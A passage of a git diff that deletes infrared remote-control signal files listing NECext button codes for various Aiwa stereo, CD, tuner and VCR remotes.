-command: 16 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: t-bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: bbe -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: qsurround -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: md -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 70 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 71 00 00 00 -# -name: drec -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 72 00 00 00 -# -name: md_mark -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 73 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 76 00 00 00 -# -name: tit_inp -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir deleted file mode 100644 index 1027d3afe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: CD1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: CD2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: CD3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir deleted file mode 100644 index 7d20431ac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: N10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir deleted file mode 100644 index 71a1fed29..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 12 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 51 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 80 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 8F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C4 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C5 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C6 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C7 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C9 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 70 00 00 00 -command: CA 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 70 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir deleted file mode 100644 index 2d31fb2e5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0A 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0D 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0E 00 00 00 -# -name: Counter_Display -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 10 00 00 00 -# -name: F.Fwd -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: Audio_MONI -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: Pause/Still(Jog) -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: Index_SkipForward -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 18 00 00 00 -# -name: Index_SkipBack -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 40 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 41 00 00 00 -# -name: Audio_DUB -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 42 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 44 00 00 00 -# -name: Zero_Return -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 45 00 00 00 -# -name: Tracking_+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 46 00 00 00 -# -name: Tracking_- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 47 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 48 00 00 00 -# -name: AD-Skip -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 49 00 00 00 -# -name: Counter_Reset -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4C 00 00 00 -# -name: Tape_Speed -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 50 00 00 00 -# -name: A-TR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 5C 00 00 00 -# -name: Tape_Remain -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 5E 00 00 00 -# -name: Fwd(Jog) -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 65 00 00 00 -# -name: Rev(Jog) -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 74 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 81 00 00 00 -# -name: VPS/PDC -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 82 00 00 00 -# -name: Arrow_Right -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 83 00 00 00 -# -name: Arrow_Left -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 84 00 00 00 -# -name: OTPB -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 89 00 00 00 -# -name: Arrow_Up -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8D 00 00 00 -# -name: Arrow_Down -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8E 00 00 00 -# -name: Showview_DeLuxe -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 98 00 00 00 -# -name: Add_T -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 99 00 00 00 -# -name: D/WLY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 9A 00 00 00 -# -name: Set_Ch.No -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 9D 00 00 00 -# -name: Set_Auto -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 9E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 9F 00 00 00 -# -name: Audio_MIX -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: B5 00 00 00 -# -name: TheatreMode_BBE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: B9 00 00 00 -# -name: TheatreMode_Q.Surround -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: BA 00 00 00 -# -name: TheatreMode_Midnight -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: BB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir deleted file mode 100644 index 6cb2266c1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 00 00 00 00 -# -name: MW -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 01 00 00 00 -# -name: LW -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 02 00 00 00 -# -name: TuneUp -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 04 00 00 00 -# -name: TuneDown -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 09 00 00 00 -# -name: Programme -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0B 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0D 00 00 00 -# -name: FwdSkip -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0E 00 00 00 -# -name: BackSkip -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0F 00 00 00 -# -name: VcrAux -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 10 00 00 00 -# -name: Phono -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 11 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir deleted file mode 100644 index b57baa29e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BAND -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 13 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 4E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 51 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 52 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 53 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 91 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 92 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 93 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 94 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 95 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 96 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 97 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 98 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 99 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9A 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C4 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C5 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C6 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir deleted file mode 100644 index ab26a7196..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0A 00 00 00 -# -name: greater_20 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0C 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0D 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0E 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0F 00 00 00 -# -name: search_forw -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 11 00 00 00 -# -name: search_back -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 12 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 17 00 00 00 -# -name: skip_forw -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 18 00 00 00 -# -name: skip_back -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1A 00 00 00 -# -name: repeat_1_all -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1B 00 00 00 -# -name: repeat_a_b -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1C 00 00 00 -# -name: index_forw -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1D 00 00 00 -# -name: index_back -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1F 00 00 00 -# -name: blank -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 49 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 4A 00 00 00 -# -name: ac -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir deleted file mode 100644 index aac9b3df3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: X_KEY_0KC -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: Mono_Tuner -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: Edit/Remain -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: Prgm -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: Tape_Deck_1/2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: TunerBand -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: Direction_Preset -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: F_FWD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: T-Bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: BBE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: GEQ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 